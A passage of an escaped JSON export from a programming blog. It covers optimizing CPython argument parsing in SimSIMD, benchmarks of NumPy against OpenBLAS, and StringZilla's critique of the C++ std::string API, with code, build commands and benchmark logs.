PyObject* input_tensor_a = NULL; // Required object, positional-only PyObject* input_tensor_b = NULL; // Required object, positional-only PyObject* metric_obj = NULL; // Optional string, positional or keyword PyObject* threads_obj = NULL; // Optional integer, keyword-only PyObject* dtype_obj = NULL; // Optional string, keyword-only PyObject* out_dtype_obj = NULL; // Optional string, keyword-only if (!PyTuple_Check(args) || PyTuple_Size(args) \u0026lt; 2 || PyTuple_Size(args) \u0026gt; 3) { PyErr_SetString(PyExc_TypeError, \u0026#34;Function expects 2-3 positional arguments\u0026#34;); return NULL; } input_tensor_a = PyTuple_GetItem(args, 0); input_tensor_b = PyTuple_GetItem(args, 1); if (PyTuple_Size(args) \u0026gt; 2) metric_obj = PyTuple_GetItem(args, 2); // Checking for named arguments in kwargs if (kwargs) { Py_ssize_t pos = 0; PyObject* key; PyObject* value; while (PyDict_Next(kwargs, \u0026amp;pos, \u0026amp;key, \u0026amp;value)) { if (PyUnicode_CompareWithASCIIString(key, \u0026#34;threads\u0026#34;) == 0) { if (threads_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;threads\u0026#39;\u0026#34;); return NULL; } threads_obj = value; } else if (PyUnicode_CompareWithASCIIString(key, \u0026#34;dtype\u0026#34;) == 0) { if (dtype_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;dtype\u0026#39;\u0026#34;); return NULL; } dtype_obj = value; } else if (PyUnicode_CompareWithASCIIString(key, \u0026#34;out_dtype\u0026#34;) == 0) { if (out_dtype_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;out_dtype\u0026#39;\u0026#34;); return NULL; } out_dtype_obj = value; } else if (PyUnicode_CompareWithASCIIString(key, \u0026#34;metric\u0026#34;) == 0) { if (metric_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;metric\u0026#39;\u0026#34;); return NULL; } metric_obj = value; } else { PyErr_Format(PyExc_ValueError, \u0026#34;Received unknown keyword argument: %O\u0026#34;, key); return NULL; } } } // Once parsed, the arguments will be stored in these variables: char const* metric_str = NULL; unsigned long long threads = 1; char const* dtype_str = NULL; char const* out_dtype_str = NULL; We can also avoid unpacking the strings, by using the PyUnicode_CompareWithASCIIString for comparison. Recompiling SimSIMD and running the script:\n1 2 3 4 $ time python dispatch.py \u0026gt; real 0m3.572s \u0026gt; user 0m4.806s \u0026gt; sys 0m0.013s We\u0026rsquo;ve just gone from 5.805s to 4.806s, another 17% speedup.\nFaster Calling Conventions METH_FASTCALL and METH_KEYWORDS In PEP 590 \u0026ldquo;Vectorcall\u0026rdquo; convention was added to CPython for callables. There is also a METH_FASTCALL flag for defining _PyCFunctionFast functions and a combination of METH_FASTCALL | METH_KEYWORDS for defining _PyCFunctionFastWithKeywords functions.\n1 2 3 4 5 6 7 8 9 10 PyObject *_PyCFunctionFast( PyObject *self, PyObject *const *args, Py_ssize_t nargs); PyObject *_PyCFunctionFastWithKeywords( PyObject *self, PyObject *const *args, // positional arguments in a C-style array of pointers Py_ssize_t nargs, // number of positional arguments in the prefix of `args` PyObject *kwnames); // named arguments in the tail of `args`, forming a Python `tuple` Using the latter, we can further optimize our argument parsing to avoid dictionaries altogether. The tricky part is that the total number of elements in the C-style args array is a sum nargs + PyTuple_Size(kwnames).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 static PyObject* api_cdist(PyObject* self, PyObject* const* args, Py_ssize_t args_count, PyObject* kwnames) { // This function accepts up to 6 arguments: PyObject* input_tensor_a = NULL; // Required object, positional-only PyObject* input_tensor_b = NULL; // Required object, positional-only PyObject* metric_obj = NULL; // Optional string, positional or keyword PyObject* threads_obj = NULL; // Optional integer, keyword-only PyObject* dtype_obj = NULL; // Optional string, keyword-only PyObject* out_dtype_obj = NULL; // Optional string, keyword-only if (args_count \u0026lt; 2 || args_count \u0026gt; 6) { PyErr_Format(PyExc_TypeError, \u0026#34;Function expects 2-6 arguments, got %d\u0026#34;, args_count); return NULL; } // Positional-only arguments input_tensor_a = args[0]; input_tensor_b = args[1]; // Positional or keyword arguments Py_ssize_t args_progress = 2; Py_ssize_t kwnames_progress = 0; Py_ssize_t kwnames_count = PyTuple_Size(kwnames); if (args_count \u0026gt; 2 || kwnames_count \u0026gt; 0) { metric_obj = args[2]; if (kwnames) { PyObject* key = PyTuple_GetItem(kwnames, 0); if (key != NULL \u0026amp;\u0026amp; PyUnicode_CompareWithASCIIString(key, \u0026#34;metric\u0026#34;) != 0) { PyErr_SetString(PyExc_ValueError, \u0026#34;Third argument must be \u0026#39;metric\u0026#39;\u0026#34;); return NULL; } args_progress = 3; kwnames_progress = 1; } } // The rest of the arguments must be checked in the keyword dictionary for (; kwnames_progress \u0026lt; kwnames_count; ++args_progress, ++kwnames_progress) { PyObject* key = PyTuple_GetItem(kwnames, kwnames_progress); PyObject* value = args[args_progress]; if (PyUnicode_CompareWithASCIIString(key, \u0026#34;threads\u0026#34;) == 0) { if (threads_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;threads\u0026#39;\u0026#34;); return NULL; } threads_obj = value; } else if (PyUnicode_CompareWithASCIIString(key, \u0026#34;dtype\u0026#34;) == 0) { if (dtype_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;dtype\u0026#39;\u0026#34;); return NULL; } dtype_obj = value; } else if (PyUnicode_CompareWithASCIIString(key, \u0026#34;out_dtype\u0026#34;) == 0) { if (out_dtype_obj != NULL) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;out_dtype\u0026#39;\u0026#34;); return NULL; } out_dtype_obj = value; } else { PyErr_Format(PyExc_ValueError, \u0026#34;Received unknown keyword argument: %S\u0026#34;, key); return NULL; } } // The rest is pretty much the same, except for some type checks for `metric_obj`, Recompiling SimSIMD and running the script:\n1 2 3 4 $ time python dispatch.py \u0026gt; real 0m3.141s \u0026gt; user 0m4.453s \u0026gt; sys 0m0.023s We\u0026rsquo;ve just gone from 4.806s to 4.453s, another 7% speedup. All in all, we\u0026rsquo;ve managed to reduce the execution time from 6.875s to 4.453s, a 35.2% overall speedup. Here we go, a 35% discount on keyword arguments in Python!\nConclusion Optimizing argument parsing in Python may seem like a niche pursuit, but as we\u0026rsquo;ve seen, it can yield significant performance gains in high-demand applications. These techniques aren\u0026rsquo;t just theoretical; they have practical implications for real-world systems. Most SimSIMD kernel wrappers now use fast calling conventions, and the performance improvements are especially noticeable for the sparse operations added in SimSIMD v5.1, which are very common in high-throughput information retrieval systems.\nOne of the largest open-source collections of 200+ numeric kernels for Databases and Scientific Computing just got...\nBigger, Faster, and more Accurate! It’s also now my 2nd project with 1M+ PyPi downloads and 100M+ devices running this code 🎉https://t.co/gdj6uhIiaC\n\u0026mdash; Ash Vardanian (@ashvardanian) September 6, 2024 This kind of optimization really shines in the context of primitive types, like custom strings. So, the next natural step after checking out the ashvardanian/SimSIMD repository - may be diving into the ashvardanian/StringZilla The latter contains a lot of more advanced techniques, implementing the primary __dunder__ methods, with a detailed 3000-lines-long C to CPython binding. Sounds cool? Check out the \u0026ldquo;good first issues\u0026rdquo; and join the force 😉\nIf you want to check all the versions yourself, here are the commits for each optimization:\nManual unpacking: #c9acda5 Iterating through dict: #1d726f9 Fast calling conventions: #4145c81 ","permalink":"https://ashvardanian.com/posts/discount-on-keyword-arguments-in-python/","summary":"\u003cp\u003ePython has a straightforward syntax for positional and keyword arguments.\nPositional arguments are arguments passed to a function in a specific order, while keyword arguments are passed to a function by name.\nSurprising to most Python developers, the choice of positional vs keyword arguments can have huge implications on readability \u003cstrong\u003eand performance\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"35% Discount on Keyword Arguments in Python by Ash Vardanian\" loading=\"lazy\" src=\"/discount-on-keyword-arguments-in-python/Discount-on-Keyword-Arguments-in-Python-with-Comments.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s take the \u003ccode\u003ecdist\u003c/code\u003e interface as an example.\nIt\u0026rsquo;s a function implemented in \u003ca href=\"https://github.com/ashvardanian/simsimd?tab=readme-ov-file#many-to-many-all-pairs-distances\"\u003eSimSIMD\u003c/a\u003e, mimicking \u003ca href=\"https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.distance.cdist.html\"\u003eSciPy\u003c/a\u003e, that computes all pairwise distances between two sets of points, each represented by a matrix.\nIt accepts up to 6 arguments:\u003c/p\u003e","title":"35% Discount on Keyword Arguments in Python 🐍"},{"content":"Downloaded over 5 Billion times, NumPy is the most popular library for numerical computing in Python. It wraps low-level HPC libraries like BLAS and LAPACK, providing a high-level interface for matrix operations. BLAS is mainly implemented in C, Fortran, or Assembly and is available for most modern chips, not just CPUs. BLAS is fast, but bindings aren\u0026rsquo;t generally free. So, how much of the BLAS performance is NumPy leaving on the table?\nTLDR: up to 90% of throughput is lost on 1536-dimensional OpenAI Ada embeddings, more on shorter vectors. SimSIMD can fix that, at least partly.\nWe aren\u0026rsquo;t going to cover the basics of NumPy or BLAS. We won\u0026rsquo;t cover BLAS level 2 or 3 for vector-matrix and matrix-matrix operations, only level 1 vector-vector dot-products. We have already shown how pure Assembly dot-products can be over 2,000x faster than Python. We have also demonstrated how bindings across 10 programming languages work. Instead, let\u0026rsquo;s jump into benchmark results.\nBaseline Benchmarks I wrote 2 benchmark scripts: one in Python and one in C++ using Google Benchmark. In short, we are benchmarking the following interfaces against their BLAS counterparts:\n1 2 3 4 5 6 7 8 9 import numpy as np a = np.random.rand(1536) b = np.random.rand(1536) np.dot(a.astype(np.float64), b.astype(np.float64)) # cblas_ddot np.dot(a.astype(np.float32), b.astype(np.float32)) # cblas_sdot np.dot(a.astype(np.float16), b.astype(np.float16)) # no analog np.dot(a.astype(np.float64).view(np.complex128), b.astype(np.float64).view(np.complex128)) # cblas_zdotu_sub np.dot(a.astype(np.float32).view(np.complex64), b.astype(np.float32).view(np.complex64)) # cblas_cdotu_sub They directly compare NumPy\u0026rsquo;s default PyPi distribution with the same underlying OpenBLAS library used from the C layer. For profiling, I chose the c7g instances on AWS, powered by Arm-based Graviton 3 CPUs with Scalable Vector Extensions (SVE) - variable-width SIMD Assembly instructions - my favorite example of convergence between CPUs and GPUs.\nAWS Graviton 3 CPUs are an excellent baseline for the new wave of energy-efficient supercomputers and clouds. Arm also powers Fugaku, the fastest supercomputer until 2022, which also supports SVE. Nvidia Grace CPUs are also based on Arm, Neoverse N2 cores to be precise. They also support SVE instructions and already power Isambard 3 supercomputer in Bristol, one of the greenest in the world. Similarly, Microsoft Azure is rolling out its Cobalt CPUs, and the Ampere One is gaining adoption.\nNumeric Type OpenBLAS in C OpenBLAS in NumPy Slowdown float64 ¹⁵³⁶ 1,693 K 479 K 3.53 x float32 ¹⁵³⁶ 6,568 K 752 K 8.73 x float16 ¹⁵³⁶ _ 173 K - complex128 ⁷⁶⁸ 1,706 K 469 K 3.64 x complex64 ⁷⁶⁸ 2,980 K 632 K 4.71 x complex32 ⁷⁶⁸ - - - The benchmarks were run on a single thread, resulting in dot-product operations per second. In this case, NumPy is 3.53x to 8.73x slower than the underlying BLAS library for 1536-dimensional real and 768-dimensional complex vectors. The smaller you make the vectors, the more significant the slowdown. The slowdown comes from multiple sources:\nDynamic dispatch - as Python is a dynamic language, locating the dot symbol may involve several lookup tables and function calls, Type checking - as Python is a dynamically typed language, the native implementation of dot must check the argument types, check if they are compatible, Memory allocations - NumPy has to allocate memory for the result and then free it. We can partly mitigate that.\nSimSIMD In the v4 release of SimSIMD, I\u0026rsquo;ve added complex dot products. SimSIMD now also supports half-precision complex numbers, not supported by NumPy or most BLAS implementations, but considered for CuPy. Looking at hardware-accelerated dot-products specifically, this is how SimSIMD and NumPy compare in terms of functionality:\nNumPy SimSIMD Real Types float16, float32, float64 float16, float32, float64 Complex Types complex64, complex128 complex32, complex64, complex128 Backends Come from BLAS NEON, SVE, Haswell, Skylake, Ice Lake, Sapphire Rapids Compatibility 35 wheels on PyPi 105 wheels on PyPi The library also contains benchmarks against OpenBLAS, which I\u0026rsquo;ve used in this article. First, I\u0026rsquo;ve profiled the C layer, looking for ways to supersede OpenBLAS and comparing auto-vectorization with explicit SIMD kernels.\nNumeric Type OpenBLAS in C Serial C Code SimSIMD in C Improvement float64 ¹⁵³⁶ 1,693 K 861 K 2,944 K + 73.9 % float32 ¹⁵³⁶ 6,568 K 1,248 K 5,464 K - 16.8 % float16 ¹⁵³⁶ _ 845 K 10,500 K complex128 ⁷⁶⁸ 1,706 K 1.264 K 2,061 K + 20.8 % complex64 ⁷⁶⁸ 2,980 K 1,335 K 3,960 K + 32.9 % complex32 ⁷⁶⁸ - 881 K 7,138 K The comparison wasn\u0026rsquo;t possible for half-precision representations. In the remaining 4 cases, SimSIMD won 3 times and lost once. Patches for the lost case are more than welcome 🤗\nPutting all together, this is how SimSIMD and NumPy compare when used in Python:\nNumeric Type NumPy in Python SimSIMD in Python Improvement float64 ¹⁵³⁶ 479 K 753 K + 57.2 % float32 ¹⁵³⁶ 752 K 1,215 K + 61.6 % float16 ¹⁵³⁶ 173 K 1,484 K + 757.8 % complex128 ⁷⁶⁸ 469 K 737 K + 57.1 % complex64 ⁷⁶⁸ 632 K 1,011 K + 60.0 % complex32 ⁷⁶⁸ - 1,173 K In all cases but one, the SimSIMD improvements over NumPy can be attributed to the quality of the binding layer, the BLAS wasn\u0026rsquo;t the bottleneck. NumPy could have been just as fast as SimSIMD, if it had a better binding layer. In half-precision, however, the NumPy doesn\u0026rsquo;t call BLAS, and as a result, it\u0026rsquo;s 8x slower than SimSIMD. Assuming how often numpy.inner, numpy.dot, and numpy.vdot are used, I\u0026rsquo;ll call this a win. So if you want to make your pipelines - pip install simsimd 😉\nReplicating the Results 1 2 3 4 5 6 7 8 9 10 11 12 13 # Clone the repos and install BLAS $ sudo apt install libopenblas-dev $ git clone https://github.com/ashvardanian/SimSIMD.git $ cd SimSIMD # To run C benchmarks for dot products $ cmake -DCMAKE_BUILD_TYPE=Release -DSIMSIMD_BUILD_BENCHMARKS=1 -B build_release $ cmake --build build_release --config Release $ build_release/simsimd_bench --benchmark_filter=\u0026#34;dot.*(serial|blas|sve)\u0026#34; # To run Python benchmarks $ pip install numpy scipy scikit-learn $ python python/bench.py Appending 1: C++ Benchmark Logs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 - Arm NEON support enabled: true - Arm SVE support enabled: true - x86 Haswell support enabled: false - x86 Skylake support enabled: false - x86 Ice Lake support enabled: false - x86 Sapphire Rapids support enabled: false - Compiler supports F16: true - Benchmark against CBLAS: true 2024-03-13T05:58:15+00:00 Running build_release/simsimd_bench Run on (4 X 2100 MHz CPU s) CPU Caches: L1 Data 64 KiB (x4) L1 Instruction 64 KiB (x4) L2 Unified 1024 KiB (x4) L3 Unified 32768 KiB (x1) Load Average: 0.12, 0.23, 0.31 ***WARNING*** Library was built as DEBUG. Timings may be affected. ---------------------------------------------------------------------------------------------------------- Benchmark Time CPU Iterations UserCounters... ---------------------------------------------------------------------------------------------------------- dot_f32_blas_1536d/min_time:10.000/threads:4 38.2 ns 152 ns 91962500 abs_delta=0 bytes=80.7067G/s pairs=6.56793M/s relative_error=0 dot_f64_blas_1536d/min_time:10.000/threads:4 149 ns 590 ns 23714404 abs_delta=0 bytes=41.6305G/s pairs=1.69395M/s relative_error=0 dot_f32c_blas_1536d/min_time:10.000/threads:4 84.0 ns 336 ns 41723636 abs_delta=0 bytes=36.6258G/s pairs=2.98061M/s relative_error=0 dot_f64c_blas_1536d/min_time:10.000/threads:4 147 ns 586 ns 23884736 abs_delta=0 bytes=41.9479G/s pairs=1.70687M/s relative_error=0 vdot_f32c_blas_1536d/min_time:10.000/threads:4 84.1 ns 336 ns 41718708 abs_delta=0 bytes=36.6236G/s pairs=2.98043M/s relative_error=0 vdot_f64c_blas_1536d/min_time:10.000/threads:4 147 ns 586 ns 23895620 abs_delta=0 bytes=41.9427G/s pairs=1.70665M/s relative_error=0 dot_f16_sve_1536d/min_time:10.000/threads:4 23.9 ns 95.2 ns 146982384 abs_delta=119.209u bytes=64.5152G/s pairs=10.5005M/s relative_error=158.405u dot_f32_sve_1536d/min_time:10.000/threads:4 45.9 ns 183 ns 76501512 abs_delta=0 bytes=67.1458G/s pairs=5.46434M/s relative_error=0 dot_f64_sve_1536d/min_time:10.000/threads:4 85.0 ns 340 ns 41207148 abs_delta=0 bytes=72.3747G/s pairs=2.94493M/s relative_error=0 dot_f16c_sve_1536d/min_time:10.000/threads:4 35.1 ns 140 ns 99915388 abs_delta=817.418u bytes=43.8583G/s pairs=7.1384M/s relative_error=1094.91u vdot_f16c_sve_1536d/min_time:10.000/threads:4 35.1 ns 140 ns 99876424 abs_delta=446.2u bytes=43.915G/s pairs=7.14763M/s relative_error=609.749u dot_f32c_sve_1536d/min_time:10.000/threads:4 63.2 ns 253 ns 55436532 abs_delta=0 bytes=48.6621G/s pairs=3.96013M/s relative_error=0 vdot_f32c_sve_1536d/min_time:10.000/threads:4 63.1 ns 252 ns 55614928 abs_delta=0 bytes=48.8208G/s pairs=3.97305M/s relative_error=0 dot_f64c_sve_1536d/min_time:10.000/threads:4 122 ns 485 ns 28866668 abs_delta=0 bytes=50.6679G/s pairs=2.06168M/s relative_error=0 vdot_f64c_sve_1536d/min_time:10.000/threads:4 122 ns 485 ns 28876568 abs_delta=0 bytes=50.686G/s pairs=2.06242M/s relative_error=0 dot_f16_serial_1536d/min_time:10.000/threads:4 297 ns 1183 ns 11832888 abs_delta=0 bytes=5.19258G/s pairs=845.147k/s relative_error=0 dot_f32_serial_1536d/min_time:10.000/threads:4 201 ns 801 ns 17471224 abs_delta=0 bytes=15.3362G/s pairs=1.24806M/s relative_error=0 dot_f64_serial_1536d/min_time:10.000/threads:4 291 ns 1161 ns 12059628 abs_delta=0 bytes=21.1718G/s pairs=861.482k/s relative_error=0 dot_f64c_serial_1536d/min_time:10.000/threads:4 198 ns 791 ns 17704468 abs_delta=0 bytes=31.0815G/s pairs=1.26471M/s relative_error=0 dot_f32c_serial_1536d/min_time:10.000/threads:4 187 ns 749 ns 18696188 abs_delta=0 bytes=16.4102G/s pairs=1.33546M/s relative_error=0 dot_f16c_serial_1536d/min_time:10.000/threads:4 284 ns 1135 ns 12337624 abs_delta=0 bytes=5.41538G/s pairs=881.409k/s relative_error=0 Appending 2: Python Benchmark Logs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 - Vector dimensions: 1536 - Vectors count: 1000 - Hardware capabilities: serial, neon, sve - SimSIMD version: 4.0.0 - SciPy version: 1.11.3 - scikit-learn version: 1.4.1.post1 - NumPy version: 1.26.0 -- NumPy BLAS dependency: openblas64 -- NumPy LAPACK dependency: openblas64 | Datatype | Method | Ops/s | SimSIMD Ops/s | SimSIMD Improvement | | :------- | :-------------------- | ------: | ------------: | ------------------: | | `f64` | `scipy.cosine` | 40,362 | 690,516 | 17.11 x | | `f32` | `scipy.cosine` | 31,097 | 1,138,570 | 36.61 x | | `f16` | `scipy.cosine` | 14,631 | 1,393,120 | 95.21 x | | `i8` | `scipy.cosine` | 39,489 | 1,473,040 | 37.30 x | | `f64` | `scipy.sqeuclidean` | 154,574 | 718,487 | 4.65 x | | `f32` | `scipy.sqeuclidean` | 176,013 | 1,180,098 | 6.70 x | | `f16` | `scipy.sqeuclidean` | 47,537 | 1,411,140 | 29.69 x | | `i8` | `scipy.sqeuclidean` | 121,854 | 1,416,866 | 11.63 x | | `f64` | `numpy.dot` | 478,866 | 752,517 | 1.57 x | | `f32` | `numpy.dot` | 752,299 | 1,214,928 | 1.61 x | | `f16` | `numpy.dot` | 172,994 | 1,484,285 | 8.58 x | | `i8` | `numpy.dot` | 511,496 | 1,571,563 | 3.07 x | | `f32c` | `numpy.dot` | 631,648 | 1,010,783 | 1.60 x | | `f64c` | `numpy.dot` | 468,782 | 737,116 | 1.57 x | | `f32c` | `numpy.vdot` | 610,647 | 1,032,112 | 1.69 x | | `f64c` | `numpy.vdot` | 437,204 | 749,826 | 1.72 x | | `f64` | `scipy.jensenshannon` | 15,597 | 38,129 | 2.44 x | | `f32` | `scipy.jensenshannon` | 15,436 | 234,427 | 15.19 x | | `f16` | `scipy.jensenshannon` | 8,381 | 213,824 | 25.51 x | | `f64` | `scipy.kl_div` | 49,725 | 61,399 | 1.23 x | | `f32` | `scipy.kl_div` | 47,714 | 464,078 | 9.73 x | | `f16` | `scipy.kl_div` | 36,418 | 422,291 | 11.60 x | | `b8` | `scipy.hamming` | 836,733 | 11,655,827 | 13.93 x | | `b8` | `scipy.jaccard` | 395,086 | 10,229,237 | 25.89 x | ","permalink":"https://ashvardanian.com/posts/numpy-vs-blas-costs/","summary":"\u003cp\u003e\u003ca href=\"https://www.pepy.tech/projects/numpy\"\u003eDownloaded over 5 Billion times\u003c/a\u003e, NumPy is the most popular library for numerical computing in Python.\nIt wraps low-level HPC libraries like BLAS and LAPACK, providing a high-level interface for matrix operations.\nBLAS is mainly implemented in C, Fortran, or Assembly and is available for most modern chips, not just CPUs.\nBLAS is fast, but bindings aren\u0026rsquo;t generally free.\nSo, how much of the BLAS performance is NumPy leaving on the table?\u003c/p\u003e","title":"NumPy vs BLAS: Losing 90% of Throughput"},{"content":"Criticizing software is easy, yet the C++ and C standard libraries have withstood the test of time admirably. Nevertheless, they are not perfect. Especially the \u0026lt;string\u0026gt;, \u0026lt;string_view\u0026gt;, and \u0026lt;string.h\u0026gt; headers. The first two alone bring in over 20,000 lines of code, slowing the compilation of every translation unit by over 100 milliseconds. Most of that code seems dated, much slower than LibC, and equally error-prone, with interfaces that are very hard to distinguish.\nThis is not a new problem, and I don\u0026rsquo;t have an exhaustive list of all the issues with STL and LibC, but some issues became very noticeable when upgrading StringZilla to v3. The upgrade makes it largely compatible with STL, stateful allocators aside. Now it covers most of C++ 20 strings functionality in a C++ 11 compatible form, also adding dynamic (runtime) dispatch for SIMD-accelerated functions. It also provides a few extensions, that are not present in STL, but are common in other languages. For most code bases, replacing std::string and std::string_view with sz::string and sz::string_view should now be a drop-in replacement.\nSo, what\u0026rsquo;s wrong with STL existing functionality? What\u0026rsquo;s missing in C++, but exists in other languages? And how can we make it up to 10x faster? Error Prone APIs Ambiguous Function Overloads Let\u0026rsquo;s start with a question. The std::string has 14 variants of replace with different argument order and meaning. Can you guess what they do?\n1 2 3 4 5 6 7 8 using str = std::string; str(\u0026#34;hello\u0026#34;).replace(1, 2, \u0026#34;123\u0026#34;); str(\u0026#34;hello\u0026#34;).replace(1, 2, str(\u0026#34;123\u0026#34;), 1); str(\u0026#34;hello\u0026#34;).replace(1, 2, \u0026#34;123\u0026#34;, 1); str(\u0026#34;hello\u0026#34;).replace(1, 2, \u0026#34;123\u0026#34;, 1, 1); str(\u0026#34;hello\u0026#34;).replace(1, 2, str(\u0026#34;123\u0026#34;), 1, 1); str(\u0026#34;hello\u0026#34;).replace(1, 2, 3, \u0026#39;a\u0026#39;); str(\u0026#34;hello\u0026#34;).replace(1, 2, {\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;}); I definitely can\u0026rsquo;t\u0026hellip; despite testing this functionality last week. Those seven replace calls produce six different results.\n1 2 3 4 5 6 7 8 using str = std::string; str(\u0026#34;hello\u0026#34;).replace(1, 2, \u0026#34;123\u0026#34;) == \u0026#34;h123lo\u0026#34;; str(\u0026#34;hello\u0026#34;).replace(1, 2, str(\u0026#34;123\u0026#34;), 1) == \u0026#34;h23lo\u0026#34;; str(\u0026#34;hello\u0026#34;).replace(1, 2, \u0026#34;123\u0026#34;, 1) == \u0026#34;h1lo\u0026#34;; str(\u0026#34;hello\u0026#34;).replace(1, 2, \u0026#34;123\u0026#34;, 1, 1) == \u0026#34;h2lo\u0026#34;; str(\u0026#34;hello\u0026#34;).replace(1, 2, str(\u0026#34;123\u0026#34;), 1, 1) == \u0026#34;h2lo\u0026#34;; str(\u0026#34;hello\u0026#34;).replace(1, 2, 3, \u0026#39;a\u0026#39;) == \u0026#34;haaalo\u0026#34;; str(\u0026#34;hello\u0026#34;).replace(1, 2, {\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;}) == \u0026#34;hablo\u0026#34;; This complexity is likely a byproduct of the standard library\u0026rsquo;s evolutionary path:\nstd::string was welcomed in C++ 98. std::string_view made its debut in C++ 17. std::span joined the roster in C++ 20. I\u0026rsquo;ve noticed a trend of preferring these newer constructs in reverse order. Absent non-owning views and slices, you\u0026rsquo;re bound to lug around references to the original strings. Doing so, you need to pass additional integer arguments to specify the range of the original string you want to operate on.\nThis raises another inquiry - why opt for integers over iterators? And more crucially, how thorough are the checks on these integer parameters?\nAsymmetric \u0026ldquo;Out of Bounds\u0026rdquo; Checks Most containers in the C++ standard library have an operator[] and an at method.\nThe operator[] is fast, unchecked, and can lead to undefined behavior. The at method is slower, checked, and throws an exception on out-of-bounds access. Easy to remember when it\u0026rsquo;s just one argument per function. What if you have two arguments? Common sense suggests that argument checking is either done for both or for neither. Documentation suggests otherwise.\n1 2 3 4 5 6 7 using str = std::string; str(\u0026#34;hello world\u0026#34;).substr(6) == \u0026#34;world\u0026#34;; str(\u0026#34;hello world\u0026#34;).substr(6, 100) == \u0026#34;world\u0026#34;; // 106 is beyond the length of the string, but its OK str(\u0026#34;hello world\u0026#34;).substr(100); // leads to `std::out_of_range`, as 100 is beyond the length of the string str(\u0026#34;hello world\u0026#34;).substr(20, 5); // leads to `std::out_of_range`, as 20 is beyond the length of the string str(\u0026#34;hello world\u0026#34;).substr(-1, 5); // leads to `std::out_of_range`, as -1 casts to unsigned without any warnings... str(\u0026#34;hello world\u0026#34;).substr(0, -1) == \u0026#34;hello world\u0026#34;; // -1 casts to unsigned without any warnings... The substr method is the one-dimensional sibling of the zero-dimensional at. Instead of returning one char scalar, it returns a string slice. The kicker is that the substr method has a boundary check for the first argument but not for the second. Moreover, unless you enable \u0026ldquo;warnings as errors\u0026rdquo;, the compiler won\u0026rsquo;t even warn you about the negative arguments\n1 2 std::string s = \u0026#34;hello world\u0026#34;; s.substr(1, s.size() - 2) == \u0026#34;ello worl\u0026#34;; It\u0026rsquo;s debatable, but Python\u0026rsquo;s support for negative indices is more intuitive. Without it, you need to write s.substr(1, s.size() - 2) instead of s.substr(1, -2). With StringZilla, you can use negative indices and get the expected results:\n1 2 3 4 5 6 7 using str = sz::string; str(\u0026#34;a:b\u0026#34;).front(1) == \u0026#34;a\u0026#34;; // no checks, unlike `substr` str(\u0026#34;a:b\u0026#34;).back(-1) == \u0026#34;b\u0026#34;; // accepting negative indices str(\u0026#34;a:b\u0026#34;).sub(1, -1) == \u0026#34;:\u0026#34;; // similar to Python\u0026#39;s `\u0026#34;a:b\u0026#34;[1:-1]` str(\u0026#34;a:b\u0026#34;).sub(-2, -1) == \u0026#34;:\u0026#34;; // similar to Python\u0026#39;s `\u0026#34;a:b\u0026#34;[-2:-1]` str(\u0026#34;a:b\u0026#34;).sub(-2, 1) == \u0026#34;\u0026#34;; // similar to Python\u0026#39;s `\u0026#34;a:b\u0026#34;[-2:1]` \u0026#34;a:b\u0026#34;_sz[{-2, -1}] == \u0026#34;:\u0026#34;; // works on views and overloads `operator[]` We can\u0026rsquo;t have all the good things for now. Due to language constraints, the \u0026quot;a:v\u0026quot;[-2:-1] syntax is impossible. So I\u0026rsquo;ve used an std::initializer_list for the indices, and an underscore-prefixed literal for the view.\nMissing Functionality Continuing the topic of extended functionality, there are some very basic utilities missing in STL. This includes lazy ranges for find, split, and bulk replace.\nSplit and Search Lazy Ranges Many production code bases have utility functions like:\n1 2 3 std::vector\u0026lt;std::string\u0026gt; split(std::string const \u0026amp; text, char delimiter); std::vector\u0026lt;std::string\u0026gt; split(std::string const \u0026amp; text, std::string const \u0026amp; delimiter); std::vector\u0026lt;std::string_view\u0026gt; split(std::string_view text, std::string_view delimiter); Going from worst to best, they allocate memory at least for the std::vector, and reallocate when it needs to grow. Each allocation can be orders of magnitude more expensive than the search itself. StringZilla provides lazily-evaluated ranges to avoid those, similar to Rust and some other systems languages. Implementing them in C++ is not trivial and took about 400 lines of expression templates. Now, StringZilla supports overlapping and non-overlapping substring search ranges. Splits. By string. By character. By character-set delimiters. In normal and reverse order. All SIMD-accelerated.\n1 2 3 for (auto line : haystack.split(\u0026#34;\\r\\n\u0026#34;)) for (auto word : line.split(char_set(\u0026#34; \\w\\t.,;:!?\u0026#34;))) std::cout \u0026lt;\u0026lt; word \u0026lt;\u0026lt; std::endl; Here is a list:\nhaystack.[r]find_all(needle[, interleaving]) haystack.[r]find_all(char_set(\u0026quot;\u0026quot;)) haystack.[r]split(needle) haystack.[r]split(char_set(\u0026quot;\u0026quot;)) For $N$ matches, the split functions will report $N + 1$ matches, potentially including empty strings. Ranges provide begin() and end() forward-iterators and have a few convenience methods as well:\n1 2 3 4 range.size(); // -\u0026gt; std::size_t range.empty(); // -\u0026gt; bool range.template to\u0026lt;std::set\u0026lt;std::sting\u0026gt;\u0026gt;(); range.template to\u0026lt;std::vector\u0026lt;std::sting_view\u0026gt;\u0026gt;(); A special case of split is partition. It\u0026rsquo;s one of the most neglected functions in Python strings. StringZilla brings them to C++, returning a simple struct, that can be unpacked with structured bindings.\n1 2 3 4 5 auto parts = 